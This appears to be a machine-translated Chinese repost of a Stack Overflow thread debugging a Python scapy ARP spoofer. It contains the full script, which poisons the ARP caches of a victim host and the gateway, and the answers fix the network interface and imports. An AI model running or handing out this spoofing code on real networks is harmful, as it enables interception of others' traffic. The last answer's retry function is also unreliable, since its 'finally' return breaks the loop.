![](/img/trans.png)
[英]ARP spoofer and packet sniffer in windows 10 using scapy python 3
[英]Python ARP spoofer using scapy module
我試圖按照我在網上找到的教程編寫一個基本的 arp 欺騙程序。 所以我編寫了 arpSpoofer 的基本開始代碼,但是當我執行它時會拋出 IndexError: list index out of range...我確定我在代碼上犯了一個愚蠢的錯誤,但我真的找不到它,我一直在嘗試小時。 代碼是這樣的:
import scapy.all as scapy
from scapy import *
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst = ip)
broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout = 1, verbose = False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet)
while True:
spoof("192.168.1.79", "192.168.1.1")
spoof("192.168.1.1", "192.168.1.79")
確切的錯誤消息是:
Traceback (most recent call last):
File "arp_spoof.py", line 26, in <module>
spoof("192.168.1.79", "192.168.1.1")
File "arp_spoof.py", line 18, in spoof
target_mac = get_mac(target_ip)
File "arp_spoof.py", line 15, in get_mac
return answered_list[0][1].hwsrc
File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
return self.res.__getitem__(item)
IndexError: list index out of range
我會很感激一些幫助...在此先感謝::)
確實, answered_list
必須為空。 在嘗試提取碎片之前,您應該檢查這種情況。
可能您需要告訴 Scapy 使用特定接口或調整您的路由規則。 將iface
參數添加到srp
function。 在 Linux 上,這將類似於“eth0”或“enp1s0”。 在 Windows 上,這將是有意義的接口名稱,例如“網絡連接 1”或其他名稱。
您可以在 scapy 中輸入conf.iface
來檢查默認界面。 很多時候,默認選擇的是錯誤的。 很可能,這就是你得到一個空列表的原因。
只需一句話:這是重復:
import scapy.all as scapy
from scapy import *
從模塊或 package 導入 * 的做法通常不是好的做法,原因如下: Why import star in Python is a bad idea
以下是關於為什么不應該使用
import *
的一些要點:
- 代碼可讀性
- 導入的內容始終是一個謎,並且無法輕易找到 - 導入了某個東西的模塊導致代碼可讀性低。
- 污染命名空間,
import *
導入您自己命名空間中可能與 function 和您定義的類或 function 和您可能導入的其他庫的類發生沖突的所有函數和類。- 隱藏錯誤的具體可能性
- pyflakes 之類的工具不能用於靜態檢測源代碼中的錯誤。
最好只導入您需要的內容,例如:
from scapy.all import srp,send,ARP
scapy_ip = scapy.ARP(pdst=ip)
scapy_mac = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
scapy_broadcast = scapy_mac/scapy_ip
ans, unans = scapy.srp(scapy_broadcast, timeout=1, iface="eth0")
for i in ans:
print(i[1].psrc, i[1].hwsrc)
我更改了 get_mac function 如下以確保mac不為空
def get_mac(ip):
mac = "xx"
while mac == "xx":
try:
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1 , verbose=False)[0]
mac = answered_list[0][1].hwsrc
# print(mac)
except:
pass
finally:
return mac
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.